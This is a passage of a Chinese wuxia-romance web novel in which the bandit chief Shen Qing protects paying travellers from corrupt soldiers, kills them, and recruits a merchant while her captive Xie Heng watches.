借着憧憧烛光看清窗边玉容时,她不由得心中一惊,才几日不见的光景,谢十三原本就清瘦的一身,几乎有些单薄得不胜衣重的姿态了。 一张玉容,明明是病态得没有颜色,却显得更有几分不食人间烟火的轻透绝俗。 知道他这几日水米未进,沈青也算有备而来,将一碗白米佐了小菜熬成的清粥端到他嘴边。 “把这喝了。” 谢珩连看了没看一眼,缓缓将脸瞥到一边。 沈青也不废话,抬手一把捏着他下巴,将粥碗抵到他嘴边就开始灌,不料这人虽然七日没吃东西,执拗起来力气可真大,他抵死挣扎间,她一只手竟然没有摁得住他,手上那只盛满热粥的碗被打翻,砰然一下摔得七零八碎,溅得满地都是,一片狼藉。 “谢十三!” 沈青终于忍不了,揪了他的衣襟一手在空中抡起拳头:“老子给你脸了是吗?” 她向来不惧别人对她如何敌视和谩骂,但绝对不能接受有人竟视她为空气。 她逼视他的双眼,这下终于看清那样一双好看的眼睛,不见往日清润,无喜无怒,濛濛一片的灰败。 被她扯得凌乱的衣襟下,赫然露出一道疤痕,是那日被孟渊用刀抵的,已然结痂,无比狰狞地印在雪色肌肤上。 沈青心中顿生恻然,一只拳头顿在半空,怎么也落不下去。 这要是换成别人,早就不知死了多少回,现在面对谢十三,她发觉自己居然下不去手。 他冷漠无视的样子真恨不得一把将他撕个粉碎,可他支离憔悴的样子又让人只想一点一点细细将他拼凑起来。 沈青心头上好像有无数只小虫子在爬上爬下四处啃食,她从未有过这样迷茫又无力的情绪。 真想一拳打点什么! “阿青!” 身后忽然有人喊住她,然后她那只高高举起的拳头就被岳瑛拽了下来:“好好的让你来送些热粥,这么凶做什么?” 岳瑛本来是劝着沈青过来缓和一下的,不然谢十三可真的绝食而亡了,没想到她刚到门口,就看到这么剑拔弩张的一幕。 “你先冷静一下吧。” 沈青再多一瞬都待不下去,甩开谢珩,拔腿就走:“他要活就活,想死就死!” 一句话说完,人影早就循着话音消失在门外。 屋中再次清净下来,岳瑛叹了口气,往案几上摆了一碟刚出炉还冒着热气的马蹄糕,晶莹澄亮,清香扑鼻,是经典的洛京风味,但也绝不是洛京普通百姓能吃上的餐中食物。 她就守着这马蹄糕蒸好的这会儿功夫,两人险些打了起来。 “公子何必自苦于此呢?” 谢珩还是就着刚才被沈青甩开的姿势靠在窗沿边,不闻也不答。 岳瑛也不恼,又替他倒了一杯热茶:“公子现下对沈青有怨气,又何尝不是因为对她有偏见呢?” 有偏见? 谢珩清淡麻木的眉眼间,终于隐隐有了一丝不耐的戾气。 他望了一眼摆在手边的马蹄糕,哑声询问:“冒昧问一句夫人,卿本佳人,奈何从贼?” 他听闻,这位夫人被掳上山时也是万般反抗不肯屈就,现在却要反过来替作恶的人当说客? 面对谢珩探过来的审视目光,岳瑛垂了眼眸:“虽然我和你都是被迫上了这小金顶,但归根结底,我和你确实完全不一样。” “三岔湾的事情我听说了,你的所见所闻,正是我的切身经历。” 谢珩震惊抬眸望她,终究没有打断她的话,继续静默地等待她的下文。 “当年我父亲被流放,带着家小途径三岔湾,所有财物被洗劫一空,我的父母兄弟,也被当场灭口。若不是阿青出手,我恐怕也同当日那些女子一样被贼人掳去那般下场。” 岳瑛极力压抑住声音中的颤抖,如诉生前事。 “那天我最终活了下来,我这条命也是莽山十几位弟兄的命换来的。后来我才知道,渝州各匪寨之间自有规矩,坏了规矩,是要用流血作为代价的。阿青遇到我,正好是她执掌莽山后第一次参与三岔湾的行动,那次救下我流血的代价太大了,大到她再也没有贸然去破坏规矩。” “以你当日所见之情景,若是要救下那些无辜女子,阿青必定要与其他山头再次交恶,阿青不愿重蹈覆辙没有出手,你会生气,就是因为你的偏见,在你心中,无辜妇孺的性命要比小金顶上土匪的性命高贵得多。” 岳瑛一语点破,谢珩脑子里轰然想起那天沈青最后对他说的话,舍生取义,是君子所为,不是土匪所为。 他还是不解:“即便沈青最后救了你,可最开始不是因为他联合其他匪寨的人围劫了你和你的家人吗?” 岳瑛笃定反驳:“她没有参与围劫我的家人。” 她无奈叹息:“平日看你是个心细如发的人,今日才知你满心偏见全然不自知。公子在小金顶上也待了这么久,无论莽山还是三岔湾,往来过路总有行人,可这么多天来,公子难道没留心过,阿青也只有在那天出手围劫?” 谢珩沉吟思索,想到的还是沈青的原话,没有钱财和长相不好的,她也不会去动。 可能这么多天,只有庾闻能入了他的眼吧。 “公子对阿青可以继续选择眼盲心盲,或许也可以试着去看一看莽山兄弟何其清苦又何其忠心,莽山女匪是从何而来,还有莽山每次出手打劫的都是何方人物……” 岳瑛知道要一时扭转一个人的偏见是很难的,没有再多说下去,只最后再提点了一句:“公子一心寻死,最大的意义不过是阿青或许会生气难过几日, 然后很快也会忘了这回事。活下去,才是有意义的。” 等她掩门离开,谢珩又被重留于一个人的世界。 空荡荡的房间重新归于沉寂,几只小雏鸟似乎吃饱也不再发出细细弱弱的鸣叫,桌上那簇烛火明明暗暗跳动着,忽然灯芯一闪,一颗小火花飞溅出来,落在桌面上又熄灭了。 一直守在窗边那道纹丝不动的身影终于坐直了身子,端起手边半冷了的茶,缓缓喝下去。 久违的甘甜打开了味蕾。 他并不是要做绝食明志的壮举,也没有求死之心,只是实在食难下咽,不如不吃。 岳瑛的一番话忽然让他清醒了不少,与其说他是在跟沈青抗议,莫不如说是他在惩罚自己。 身为渝州官员,在渝州地界上,他不能护佑同僚和无辜女子的性命,此是一罪。 其二是,自始至终,他袖里玄关中的银丝,从未出袖。 所以他对沈青真是满心偏见? 他自诩君子,那样关头,权衡之下,尚且做不到舍生取义,却在怨怼一个山匪没有舍命救人? 这么一看,还真是很难分出个高低贵贱出来。 他在心底冷笑一声,觉得这幽幽烛火实在扰人心绪,抬手捻灭了灯芯,房中顿时一片漆暗。 这几日他也没怎么好眠过,实在困了,也只是合目浅寐一番,实在是白雪上幼童的鲜血、空旷山谷里女子绝望的悲号,时时入梦。 这是让人一生都不得好眠的噩梦。 砰—— 木门一下被人从外面轰然踢开,谢珩猛然睁眼,窗外竟然已经有了晨曦的微光。 随着门外吹进来的一股冷风,他也看清那道昨日愤然离去的青影。 “谢十三,我还就不信我治不了你!” 刚坐起身,他的手腕就被沈青紧紧攥住,直把他往下拖。 “你做什么?” 他下意识用力一推,没想到竟轻而易举将人推开了。 沈青痛得倒吸一口冷气,直揉自己手腕:“走,你现在跟我下山!” 谢珩目光落在她手上还缠着的绷带上终于微缓了语气:“下山去做什么?” “去打劫啊,总不能天天吃喝玩乐然后乐不思蜀吧?” “……不去。”谢珩刚缓了些的语气瞬间冷硬。 沈青气得又上前一把拽他:“进了我这土匪窝,去不去,由不得你!” 谢珩还要挣扎,只是视线总是不由自主望到她腕间的绷带上,这么多天过去,竟然还肿得缠了好几圈绷带。 “你放开我,我自己会走!” 第19章【VIP】 第19章 第19章不一样的“打劫” 今日路程不远,沈青只随手点了几个兄弟,连赖三和萧瑞都没带上,不紧不慢下了小金顶。 见谢十三一路垮着个脸,一直静默地跟在身后,两人走了一路,只有脚下沙沙碎雪的声音陪伴一路,一路无言中显得格外刺耳。 直到下了两座山头,她终于按捺不住试着打破沉默:“知道我们前面要去的地方是哪里吗?” 谢珩打眼略一观察:“青煞口?” 这是渝州官兵尚能掌控的最后一道地界,过了青煞口,就彻底是莽山也就是沈青的地盘了。 沈青点了点头:“看来你跟在你族兄身边,也是有些见识的。原来这里叫青阳口,听起来也太普通了,多亏有我,都说进了这当口,就能感受到坐地一只虎沈青的煞气了,不知不觉,这里就变成了青煞口,你听是不是比青阳口好听多了?” 谢珩冷冷瞥了她一眼:“你还挺以此为傲。” 她勾唇一笑:“什么时候哪个山头用你的名字来命名,那你也会骄傲的。” 谢珩没再搭话,继续沉默地走在一旁。 方才两人一问一答,有来有回,让沈青安心不少,至少这个谢十三是肯开口理人的了。 天色尚早,所行之处,有不少被昨夜积雪压弯了的翠竹,沈青随手折了一根青竹竿放在手上把玩,脚下步伐也变得轻快,整个人悠哉得好像要去踏雪寻梅。 感受到身边这人浑身一根弦紧绷着,她忍不住出声宽慰:你不用这样紧张,这里是莽山地界,我们莽山还是很有原则的,打劫的时候,一般只谋财,不害命,你别怕就是了。” 谢珩依然沉默着,昨日岳瑛的一番话,虽然让他冲解了些许怨念,但也绝不代表他可与这悍匪苟同。今日下山,他倒要看看,沈青又准备用什么来冲击他。 青煞口是有官兵驻守的,他难道还准备当着官兵的面公然打劫吗? “到了。” 思索间,沈青忽然一把拉住他的衣袖,随便找了个堆满积雪的矮树丛做掩护,又是令人熟悉的埋伏。 垂眼便能清楚地看见官兵的哨岗,以及身着软甲盔袍来回走动巡逻的士兵。 今日云中淡淡出了一层日影,虽然同样是躲在雪中埋伏,身上感觉似乎没有那日那般寒冷。 四周安静得诡异,再凝神一些,几乎能听见哨岗那边士兵们互相说话的声音。 直到日头终于慢慢浮出云层,茫茫天地间被照得一片雪亮,除了哨岗的声音,终于也稀稀落落听见了行人赶路的声音。 沈青扬起下巴,略微清点了一下,一路来了数十多个人,男男女女,看衣着打扮,丝绸棉麻布衣各不相同,应该是各路不同的人,过莽山的时候结伴而行,好壮个胆。 这些人过了哨岗,被几个士兵拦着稍微例行检查了一番,确认不是进山投匪的,才放行过来。 她冷眼看着这群人小心翼翼穿过哨岗正一步一步往这边过来,都不用多看,她都能感受到身边的谢十三整个人简直已经紧绷成一尊泥塑的菩萨。 她忍不住故意道:“好戏还没真正开始,你现在紧张太早了。” 谢珩一张俊脸阴沉得厉害,他喉结动了动,再次确认:“你说过,不会伤人性命。” 沈青痛快点头:“放心吧,我肯定不会伤他们性命的,至于别人嘛……那我就不能保证了。” 谢珩心口骤然缩紧:“你又这样!” 那种熟悉的残酷与无奈再次涌现,他愠怒起来,连额角青筋都隐约可见。 见美人动怒,沈青忙抿紧了嘴,不再多说。 这会轮到谢珩不依不饶:“你说清楚,到底想做什么。” “诶,你说你要是平时也这么缠着我,那该多好。” “人命关天,我没心情跟你开玩笑。” “那你自己慢慢看啊!” 看在他俊美无双的面子上,这样的恶劣态度,在整整三句话后,沈青的好耐心彻底被消耗完,最后也只扔下一句话,就撇过头去懒得再多搭理他。 谢珩没抱希望他能好好说明白,强按捺着一身愠怒,指尖默默扶上袖中机巧。 青衣掩映下,白皙纤细的后颈就在眼前,若再蹈覆辙,这次他绝不会手软! 沈青对身后那道寒凉杀意毫无察觉,正托腮闲看一行人慢慢从眼皮底下走过。 “刚过去的,等一下!” 忽然哨所出来一队士兵,又将人喊住,过路人不敢说话,三三两两低着头退开一些。 “军爷,方才不是都检查过了吗?请问还有何指教啊?”中间站出来一个穿着黑色锦袍的中年男子,看起来稳重谨慎模样,应该是这群人中领头的,恭敬地弯着腰应付起来。 士兵中为首的一个行长抬手往那群过路人中点了几下:“方才那几个女的,还没仔细检查,要重新检查一遍。” 黑衫男子为难地看了一眼身后的几个女子:“军爷,这都是几个低贱的农妇商妇,就算要投匪,人家也不要啊。” 说着他又熟练地从袖中摸出一个鼓鼓囊囊的荷包往行长手中塞:“诶呀都怪我,方才孝敬的那点哪够,军爷们再多添些酒菜吧。” 行长接过荷包在手中掂了掂,露出一个满意的笑, 紧接着,他依旧抬手招呼自己手下:“这大路上几名女眷搜查起来很不方便,把她们都带到营中去好好搜查一番,不要错过她们身上任何可能投匪的信息。” 得到指令的士兵们立刻一哄而上,吓得众人抱头乱窜,尤其是那几位妇人的丈夫,更是拼了命要护着自己女人。 混乱中,那黑衣男子迅速又献上几包银子:“几位军爷,这些都是跟在下一起回乡的同乡,我们都是绵州人,回乡只是途径此地,绝对没有投匪的人,求各位军爷高抬贵手,放我们通行吧!” 行长继续将收了银子放入袖中,然后面不改色看着自己手下肆意妄为。 普通百姓哪里是军中士兵的对手,一会儿的功夫,地上七零八落已经躺了好几个人,到处都是哭喊和哀嚎。 一位看起来清秀白皙的女子被好几个士兵或拦腰抱住或拽着胳膊,生生将她往后面拖。 本来她的丈夫已经满口是血受伤倒地,看到妻子哭着喊他,他也硬撑着用两只手爬了起来:“我要跟你们拼了!” 他踉踉跄跄冲过去,雪地上留下一路鲜红淋漓的血。 “奶奶的,还真有只要女人不要命的!” 一个士兵骂骂咧咧拔出长刀,对准了人胸口就捅过去。 “不要!” 好几处的声音异口同声喊了出来,沈青白眼一翻,很明显身边谢十三喊的这一声,立刻就暴露了他们的藏身之所。 但也是在谢珩声音响起的一瞬,她人已经轻点足尖飞身出去,方才手上被她把玩了一路的竹竿瞬间从那个拔刀士兵的喉头穿喉而过,又重新血淋淋回到她手中。 直到她稳稳落在地面上站住,身后一片雪地竟没留下半点痕迹。 青衣玉立雪中,衣摆随风烈烈张扬,唯有手中青竹,蜿蜒滴落的鲜血,开出红梅。 由于那士兵的死状过于可怖,周遭所有人都如同石化一般定在那儿,还是行长率先反应过来:“快,回去叫人。” 抓住那个清秀女子的几名士兵率先松手,争先恐后地往哨岗跑,沈青连眼睛都没有眨一下,手中竹竿率先脱手飞出,人也紧随其后,生生从两人胸口一前一后当胸而过。 还剩一个侥幸跑脱,沈青竹竿运力一甩,几个小雪球准确无误追上他后脑勺,那人身子还没来得及倒地,脑浆已经四下迸裂。 饶是从军多年,行长也没见过这样狠绝残忍杀人于瞬间的手法,他强压着恐惧,声音颤抖着从牙缝里溢出来:“阁下是什么人?竟然敢对官兵出手?” 沈青懒懒地用竹竿点了点地面:“按理说,这里应该算是我的地界了吧?” “你……你是沈青?” “这很难看出来吗?你还见过比我武功更高的人?”她摊手笑了笑,可不放过任何一个显摆的机会。 行长鼓起勇气将她上下多打量了几眼,大概见她单瘦又年少,于是多了几分底气:“沈寨主,普天之下莫非王土,即便莽山,那也是渝州的地界。今日你手上多了官府人命,如果……如果你就此罢手,那我们也绝不再追究,大家继续井水不犯河水,不知沈寨主意下如何?” 沈青微蹙了一下眉头,最烦这种不知死活还话多的人。 “我手上官府的人命还差这几条?拜托,我们都已经杀起来了,那今日肯定不是你死,就是你死。” 她慢条斯理说着,行长果断拔刀:“都给我一起上!拿下悍匪沈青,咱们就立大功发大财了!” 剩下几名士兵听令,纷纷铆足一口气举刀从四面围杀过来,沈青手上的竹竿在她掌心绕了个剑花,卷起杀气掠过鬓边碎发。 “正好省得我一个一个来解决。” 几把短刀逼近瞬间,她腾空用双足在几人手上转了一圈,亮晃晃的刀身都纷纷被收进了刀鞘。 灵动身影在空中如青燕一般回身,抬手起落几下,竹竿重重敲上每一个人的天灵盖,隔得近一些的话,能清晰听见头骨碎裂的声音。 唯有行长偏头躲过那致命一击,沈青眼风一扫,竹竿一回,也随之横扫过他的脖颈,只见那副魁梧的身子,松松垮垮吊着个脑袋倒了下去。 沈青这才抛开手中竹竿,回身,立定,气收。 不过须臾之间,场上官兵已无人生还,雪地上横七竖八还淌着温血的尸体,跟那天在三岔湾的场景很像。 这已经是谢珩眼看着沈青第三次出手了,这次不再是出其不意的瞬间爆发,而是以一敌多的实力比拼。 起落周旋的身影,竟有几分轻拢慢捻抹复挑的音律节奏之美,原来世上有人杀起人来,可以美如仙乐。 拥有这样天资的人……不知为何,他脑海里忽然一下就想到沈青那个不为人知的“隐疾”,上天果然还是公平的。 予他一长,必定要给他一短。 沈青立定在雪中,终于慢慢收敛起周身杀意,眉眼一弯,又变成唇红齿白人畜无害的俊俏公子。 她带着和煦笑意,望向早就吓趴在地的黑衫男子:“你就是左思禄吧?” 被唤作左思禄的男子这才如梦初醒:“恩……恩公,不是不是,见过沈寨主。” 见他被吓得人都爬不起来,沈青语气更和善了一些:“你看看同行的人都在不在,没少人的话咱们就赶紧走,等哨所那边的人发现不对劲……算了,那群废物也不能拿我怎么样。” 左思禄终于哆嗦着身子勉强爬起来站稳,虽然传说中的沈青并不是想象中青面獠牙的样子,但他也真是不敢抬眼看她,惊魂未定地回头勉强点清人数:“沈寨主,人都是齐的。” “好,兄弟们,送他们上路!” “是!老大!” 兄弟们齐声一喊,可怜这些过路人,看着不知从哪冲出来的一群莽汉,喊着要送他们“上路”,再次被吓得抱头痛哭,那叫一个哀嚎遍野。 沈青真心疑惑:“咋了?有这么吓人?……行吧,那就给你们看个不吓人的吧。” 她被吵得耳朵烦,扭头扬声:“谢十三!” 方才谢珩怕被军中有士兵认出一直没露面,被她这么一喊,他才缓缓从隐蔽的矮树后侧身出来。 雪色照映,玉人翩然而立。 惊恐绝望的哭嚎哀泣渐渐低停,一双双眼睛安安静静望着白衣玉立的公子,仙姿不染凡尘。 无论看多少次,沈青总是会为这样的忽然又一见而感到眼前一亮,正好也对上他一双有星河流转的眸子。 可惜那样一双好看有神的眸子,写满了疑惑和一丝不愿放松的警惕。 在他开口质问以前,她抢先一步遏制住他的话头:“放心,这我收了买路钱的,我罩着他们。” “原来如此。”谢珩眉眼平淡,微松了口气,这才合理。 左思禄趁机在沈青还有耐心的时候赶紧开口安抚同伴:“各位乡亲们别怕,这位沈寨主是……专门来护送我们的。” 也怪他,在土匪的地界请了一群土匪来护送,这事他一开始也没跟同行的人说,好在这白衣公子出现,恐慌的情绪暂时得到了缓解。 一行人互相搀扶着,瑟瑟缩缩离沈青远远站着,谁也不敢多抬一下眼皮,生怕不小心跟她对视上,被她生吞活剥了去。 沈青浑然看不见一行人都快抖成筛子了,还大咧咧向人招手:“走吧,都跟着我走吧!” 她不招手还好,一招手,一堆人又往后退了老远。 可是后面横七竖八躺的都是死尸,也无处可去。 左思禄鼓起勇气小心开口:“要不沈寨主您就带着兄弟们往前走,我和老乡们在后面跟着,那些官兵就算追来了,有您在前面镇场子,还有谁敢不长眼上来轻举妄动?” 不错,这话听着顺耳极了,沈青欣然答应,领着兄弟们出发,大摇大摆走在自家领地上。 直到众人见谢珩那道不染纤尘的身影也跟在沈青身边,大家才敢壮着胆子,慢慢保持一段距离也慢慢跟了上去。 绕着莽山脚下穿行了许久,除了踩在雪地上咯吱不齐的脚步声,大 家都敛声屏气,连重一点的呼吸声都听不见。 沈青感觉自己腕上隐隐作痛,低头才发觉缠在上面的绷带松散开了,原本在慢慢消肿的手腕这会儿又肿了一大圈,没办法,只能等回小金顶让岳瑛给重新包扎一下了。 只是越往前走,手上就越发疼得厉害,竟然比前些天刚受伤那会还要钻心地疼,她咬咬牙,干脆把两只手揣在怀里兜着走。 谢珩走在她身边,目光追随她松散下来垂散一端的绷带看了会,忽然轻声开口:“有些累了,不如休息一下吧。” 第20章【VIP】 第20章 第20章张嘴一口就往他肩头咬下…… “啊?” 沈青顿了脚步,往后看了一眼,即便是那些瘦弱些的妇人,也都搀着自己夫君一直跟了上来,没见谁说累的,他这么一个大男人,居然好意思说累? 她一脸鄙夷:“这就累了?” “嗯。” 谢珩微抿着唇,唇色有点泛白,沈青忽然想起这人之前是有好几天不吃不喝,这么一看,真有几分沈腰潘鬓消磨的羸弱风姿,顿时就心软起来。 算了,人家好歹平时是衣来伸手饭来张口的富贵公子,比温室里的花还娇贵着。 “行吧,那大家就各自找地方就地休息一会儿。” 她招呼了大家去休息,自己也找了个树干下积雪薄一些的地方靠下去坐着,刚坐下来,眼前一晃,谢十三竟然也拂衣在她面前坐下。 两人自上次争执后,第一次这么面对面坐着,她有些不自然地“哼”了一声:“我可是个土匪啊,你这种君子最好离我远点,免得玷污了你的高尚名节。” 谢珩没接话,向她摊开手掌:“把你的手腕给我看看。” “看什么看啊?” “你不疼吗?” 沈青顿时奇了,便伸出两只手来:“你还会医术?” 谢珩低头一圈一圈替她将缠在腕上的绷带解开:“平日无事时,偶尔会看看医书。” 他们大户人家收藏起来的医书,应该都是些绝世良方,这么一想,沈青也就放心把两只腕子交给他了。 绷带一松,看到自己露出的手腕简直快肿成小猪蹄了一般,沈青也吓了一跳:“奇怪,明明今天我可没有用杀庾闻那么大力气,怎么肿得比那天还大了?” 谢珩轻轻瞥了她一眼:“你手上本来就淤血未消,还强行用腕力催动竹竿生生敲碎人的头骨,伤上加伤,自然就严重了。” 可能单个来看,她肯定没有用出手将庾闻毙命的瞬间爆发力,但是今天那一地的尸身……也真是不看看这一口气杀了多少人。 沈青似乎也想到这个了,“哎呀”一声:“这下好了,又背了几条官府的人命,估计等谢珩听到消息,又要气得捶胸顿足了……” “……你什么时候见他捶胸顿足了?” “我猜的嘛,感觉他经常气急败坏来着。不过前几天庾闻死了,他好像没什么反应?也不知道他又在暗地里憋什么坏水,外面总有人说官匪一家,真该让谢珩亲眼来看看,这做官的真黑心起来,可没我们土匪什么事,”说着她忽然惆怅起来:“诶,不过话又说回来,有时候我们莽山的名声,就是这样被败坏的。” 谢珩知道他的意思,如果不是今日他下山,那左思禄这一行人必定惨死在那群官兵手下,既然在莽山地界,对外肯定会将行凶的名头扣在沈青身上。 而他今日下山来,虽是救了左思禄等人,可对外而言,也坐实了他残杀官兵的恶劣行径。 若不是因为此时亲眼目睹一切,等消息传到刺史府,他的确会为此更记一笔沈青十恶不赦的大罪。 看他这幅稀疏平常的模样也知道,莽山附近常有官兵借沈青的名头,做着欺男霸女杀人抢劫的行径。 青煞口附近的哨所,原来是属杜峤的管辖范畴,杜峤死后,他暂时还没来得及做出新的官员调动布置。 又想到前几日庾闻之事,他终于开口问道:“所以今天这一幕,你是故意让我看到的?” 他的指尖还搭在沈青的手腕上,丝丝微凉的触感缓解了她些许腕上的疼痛,她语气稀松平常:“不管今天你有没有来,这样的事情都是会发生的。” 总归一切还是太出乎意料,谢珩不由叹道:“没想到在这莽山,有一天还能亲眼看到你竟然在护送行人。” 有了那些官兵的衬托,沈青收买路钱这黑心举动,居然都显得合情合理起来。 真是令人发指。 沈青眉开眼笑:“没办法,人家给的银子太多,我很难拒绝的。” 话音刚落,空气里一声脆响,然后是手腕上锥心刺骨的剧痛。 “啊——” “啊!!!” “谢十三!!!” 紧接着是沈青连续三声的爆鸣,大叫完她想也没想,身子往前一栽,张嘴一口就往他肩头咬下去。 这一口咬得可真是不轻,谢珩倒抽了口冷气:“你骨头错位了,我帮你接上去……” “那你也不能趁人不备偷袭我吧!” 沈青松了口,下巴无力地搁在他肩头气得直嚷嚷,方才瞬间剧痛的冲击,眼角都要生生飚出眼泪来,可不能让人瞧见! 不然她这一世威名可毁于一旦了! “要是提前跟你说好,恐怕我还没开始动手,你就大叫不止了。” 谢珩的声音温和如水,沈青总觉得他就是在嘲讽自己:“那你也不准笑我!” “我哪里笑了?”谢珩真是无奈。 沈青坐直了身子,气呼呼盯着他,确实只见他眉眼清淡如水,唇畔一点弧度也没有,果然没有嘲笑她? 两人隔得很近,谢珩也顺势看到了咫尺之间,沈青那双清亮带水的眸子,像是哭过,一本正经地撇着嘴,仿佛受了天大的委屈似的。 堂堂悍匪沈青,竟然怕疼?……刚刚谁拿一根竹竿杀人杀得血流成河啊。 他被她审视的目光盯得有几分不自在,微微错开眼神:“你现在感觉怎么样?” 沈青愣了一下,才反应过来他问的是手腕上的伤,于是试着活动了一下还是肿得很厉害的腕子:“诶!真的不怎么疼了!不是先前那种疼法了!谢十三,你真是我的心肝!” 她又搂上谢珩的肩,那张容色绝俗的面容就在眼前,一瞬间她真想一口亲上去。只是不远处的左思禄那群人的表情实在太过于目瞪口呆,连那些本来连头都不敢抬的女子都纷纷看了过来,她突然也没了兴致。 “没有没有,沈寨主,刚刚我们什么都没有看见!您继续!” 被她冷冷目光一扫,左思禄连忙带头恨不得把脑袋埋进雪地里,刚才虽然听不清两人在说些什么,但这么又是抱又是啃又是叫,那肯定是错不了! 原来不仅洛京断袖成风,远在渝州的沈寨主也好这一口啊! “左掌柜,我跟你说个事。” 他这边正思绪万千,沈青冷不丁一句话顿时让他心中大骇,不会是刚刚看了不该看的,要被灭口了吧? 他强忍着恐惧:“您尽管说。” 沈青换了个方向面对这群人坐着:“我呢,拿人钱财,替人消灾。已经护送你到这里了,前面马上就出了莽山,那可不归我们管了。” “自然自然,沈寨主屈尊亲自护送我们这一程,在下感激不尽,这里不多不少还有些茶水费,请您不要嫌弃。” 左思禄小心翼翼又献上一包银子,沈青眼也不眨,一把收下。 “看你给得多,我就直说了,你这银子白花了,”她掂着手中银子:“想回绵州,你必死无疑。” 左思禄吓得面如土色,以为她要出尔反尔:“沈寨主……您,您这是什么意思啊?要是钱不 够,我这还有……” “诶!”沈青重重叹了口气:“说你这人笨呢,你还知道在土匪的地盘给出买路钱,说你机灵呢,我看你还是人傻钱多。我放你过去,收一百两银子,那我杀了你,岂不是你的银子都归我了?我还一了百了呢,多省事啊。” 左思禄直接瘫倒在地:“沈寨主……求您饶命啊……” 连谢珩都变了脸色,带上警告意味:“沈青。” 沈青回头瞪了他一眼,才又继续向左思禄说道:“放心,我收了你钱,那我肯定不会杀你了。但是你往后走,光是要出渝州,那可还有好几座匪山要过,虽然我知道你肯定也是交了保护费的,那可根本没用,你这种身价的人,就是一只肥猪进了屠宰场,他们肯定要宰了你。” “天啊,对比起来,我可简直是世上最讲道义最良善的山匪了。”她说着忍不住对自己啧啧发出由衷赞叹。 左思禄犹豫了起来。 要过莽山之际,他已经先向小金顶献上银子进行打点,买个平安过路,后来沈青又多要了三百两,原以为是他狮子大开口强行勒索,但也没法子,只好忍痛给了。 没想到今日竟然真的遇上大险,若不是沈青收了保护费真出手搭救,所有人必定命丧于此。 于是对沈青,除了完全地防备和恐惧,也多生了几分信任。 见他犹疑,沈青又悠悠开口:“反正现在绵州你去不了,洛京呢,你肯定也回不去了,不如我给你指条明路吧。” 早在左思禄送银子打点关系的时候,她也先摸了个底,这人在洛京经商多年,产业颇丰,日渐积累下,不被京中贵勋世家所容,几乎要将他赶尽杀绝,最后不得不放弃多年经营,舍了洛京的富贵繁华,准备回老家绵州去。 回绵州,是为了避祸。 她寥寥这么一句话,犹如蛇打七寸,将左思禄面临的绝境揭露出来。 “那……沈寨主有何高见?” 沈青托着下巴,眼神清清亮亮:“不用担心,天无绝人之路,我收了你这个小弟怎么样?” “啊!?” 她这话实在太出人意料,以至于左思禄都忘记了恐惧。 他想破脑袋给自己谋划的千万条退路,可没有当山匪这一条啊! “啊什么?除了让莽山来护你周全,你觉得你还有别的选择吗?我跟你说,我们莽山可不是随随便便什么人都要的啊,不过我是个惜才之人,你这身经营的本事不能浪费了,正好我也缺个掌财之人,我一大家子兄弟要养呢,总靠打劫这钱也来得不够,以后你来了莽山,我负责抢钱,你负责生钱,让咱们莽山越发壮大,如何?” 左思禄说不出话来,他总觉得有诈,沈青怎么可能会把这么重要的职位交给他? 他还没回答,沈青语重心长向他指了指其他兄弟:“你看在我莽山当兄弟多舒服,出来杀人都是老大先出来动手,他们最后出来扫扫尾就行了,这世上哪里还找得到这样好的差事?” 在一边的谢珩顿时听得有些无语,原来他今日带这些兄弟出门又没让他们出手,是为了显摆这一点的? 此时他也不得不承认,这些人再往下走,经过孟渊或徐唐之类的地盘,给再多买路钱也是送命。 沈青有心要收了这个人,再多僵持会,等他没了耐心,恐有不利。 于是他轻咳了声:“左掌柜,留得青山在。” 他声音温和平静,却别有一种令人信服安定的力量。 左思禄毕竟是见识过大世面的人,须臾之间,已经迅速认清局势,就此时而言,他回乡无望,洛京也不容他,莽山即便是龙潭虎穴,竟也是他唯一的生路了。 他当即就做了决定,用江湖人的方式单膝跪地抱拳行礼:“我这条命是沈寨主救的,这辈子任凭沈寨主驱使。” “行了,既然是自家兄弟了,以后不要叫我沈寨主,直接叫我老大就行。”对于这种识时务的人,沈青向来好脾气。 左思禄又回头看了一眼那些和他同行的人,恳求道:“老大,我的这些老乡们……” 沈青大手一挥:“想入伙的,那就都一起收了!” 众人顿时神色各异起来,有两三个胆子大些的汉子试着走了出来:“我们愿意留在莽山给沈寨主效劳,反正老家的田地房屋都被那些狗官霸占得七七八八了,回去也无用,请沈寨主收留我们!” 剩下还有一些,尤其是身边带了女眷的,大多是眼神中带着深深恐惧瑟缩着往后退。 为此,沈青还专门补充了一句:“我们山上也收女土匪的!” 这话一出,换来的是他们更加惊恐的眼神。 她也习以为常,不再勉强:“行了,不想入伙的,你们想继续去绵州还是回洛京都行,我让兄弟们按约定护送你们出莽山,你们比较穷,还算安全,不过……有女眷的,最好往回走吧。” 这些人并不是左思禄的亲眷,只是一起结伴回乡的同行人,言尽于此,等他们选了各自要走的路,有重新往回走的,也有决定继续前行的,沈青都派了兄弟,护送他们离开莽山地界。 望着同乡远去的背影,左思禄还是生出了一丝惆怅:“家中还有八十老母,不知还有没有机会回去尽孝。” 沈青已经热情熟稔地上手跟他勾肩搭背了:“兄弟,先要活着,活着才能说以后。” 谢珩跟在两人身后,看着矮了小半个头的沈青,伸长了手臂搭住身边男人的肩膀,心底莫名涌上一种说不出的怪异,于是错开视线。 山间松竹错落,都挂着冰花雪色,冷风一吹,满山簌簌寒意扑面而来。 风大难耐,他别过头,目光重新落向沈青搭住男人的手臂上。 20-30 第21章 第21章你族兄没救了 今晚的小金顶,是热气腾腾的酒香肉满。 屋前檐下,火把通明,将覆在地上的白雪映得晶亮夺目,桌椅七七八八胡乱拼凑,宴席大摆起来。 沈青近来发了几笔横财,谢珩给的一百金酬劳,劫杀了庾闻分到的金银珠宝,还有今天的左思禄,非常识时务地表示自己既然已经归属莽山,当把所有家当尽数上交。 不管怎么样,都够兄弟们敞开肚皮大吃大喝好一阵子了。 谢珩不喜这样的喧闹嘈杂,但还是被沈青拖了出来,索性找了张靠边的桌子,远离人群拂衣坐下。 他这一身卓然出尘的气度,往哪坐,都很格格不入。 沈青早就在人堆中混得看不清人影,只听见此起彼伏的呼喊和叫闹声中,她笑得那可是格外爽朗清越。 见谢珩只身一人与周遭的热闹隔绝,左思禄带着自己几个一起归顺的同乡,大着胆子坐了过来。 “谢公子,方便凑个桌吗?” 他客客气气询问,见谢珩颔首,才招呼同乡一起坐下来。初上小金顶,虽然沈青看上去洒脱磊落,但也实在不能掉以轻心,这可是一整个山头的土匪啊!也只有眼前这位貌若天人的神仙公子,好让人亲近一二了。 而且听说这公子竟然是被强掳上山来的,那肯定能有很多共同话题。 